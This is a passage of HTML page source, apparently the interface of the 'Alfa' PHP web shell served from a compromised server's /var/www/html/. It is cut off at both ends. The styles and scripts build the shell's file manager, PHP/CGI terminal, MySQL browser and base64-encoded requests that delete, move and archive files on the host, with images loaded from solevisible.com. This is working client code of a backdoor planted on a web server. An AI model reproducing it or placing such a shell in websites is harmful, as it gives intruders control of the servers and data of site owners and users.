ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}
@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
#alfaloader{ -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:100px;height:100px;}
#a_loader img{ -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}
.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:#67ABDF;font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(http://solevisible.com/images/alfamini.png);background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:0px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(http://solevisible.com/images/alfamini.png);background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(http://solevisible.com/images/btn.png);background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;}.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{color: #00FF00;}.header_drive:hover{color: #FFFFFF;}.header_show_all{color: #00FF00;}.disable_functions{color: #ff0000;}.footer_text{color: #27979B;}.menu_options{color: #27979B;}.menu_options:hover{background-color: #646464;font-weight: unset;}.content_options_holder .header center a{color: #00FF00;}.content_options_holder .header center a:hover{color: #FFFFFF;}.txtfont_header{color: #59cc33;}.txtfont,.tbltxt{color: #FFFFFF;}.alfa_plus{color: #06ff0f;font-weight: unset;}#hidden_sh a{color: #00FF00;}.hidden_shell_version{color: #ff0000;}.shell_name{color: #FF0000;}.main tr:hover{background-color: #646464;}.main th{color: #FFFFFF;}.main .main_name{color: #FFFFFF;font-weight: unset;}.main_size{color: #67ABDF;}.main_modify{color: #67ABDF;}.main_owner_group{color: #67ABDF;}.main_green_perm{color: #25ff00;}.main_red_perm{color: #FF0000;}.main_white_perm{color: #FFFFFF;}.beetween_perms{color: #FFFFFF;}.main .actions{color: #FFFFFF;}.minimized-wrapper{background-color: #0e304a;}.minimized-text{color: #f5deb3;}.editor-explorer,.editor-modal{border: 2px solid #0e304a;}.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}.editor-header{background-color: rgba(21, 66, 88, 0.93);}.editor-path{color: #00ff7f;}.close-button, .editor-minimize{background-color: #1d5673;}.editor_actions{color: #FFFFFF;}.editor_file_info_vars{color: #FFFFFF;}.filestools{color: #67ABDF;}.hheader-text,.history-clear{color: #14ff07;}.editor-file-name{color: #03b3a3;}.is_active{background-color: rgba(49, 55, 93, 0.77);}.file-holder > .history:hover{background-color: #646464;}input[type=text],textarea{border: 1px solid #0E304A}input[type=text],textarea{color: #999999;}input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}select{border: 1px solid #0E304A}select{color: #FFFFEE;}select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}input[type=submit],.button,#addup{border: 1px solid #27979B;}input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}.ml1{color: #67ABDF;}.ml1{border: 1px solid #0E304A;}.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}.inputfile strong{background-color: #0E304A;}.inputfile strong{color: #FFFFFF;}.inputfile span{color: #25ff00;}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}.up_bar{background-color: #00ff00;}.mysql_tables{color: #00FF00;}.mysql_table_count{color: #67ABDF;}.copyright{color: #dfff00;}*::-webkit-scrollbar-thumb{background-color: #1e82b5;}*::-webkit-scrollbar-track{background-color: #000115;}
</style><script type="text/javascript">
var c_ = '/var/www/html/';
var a_ = 'FilesMan2';
var charset_ = 'Windows-1251';
var islinux = true;
var post_encryption_mode = false;var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' 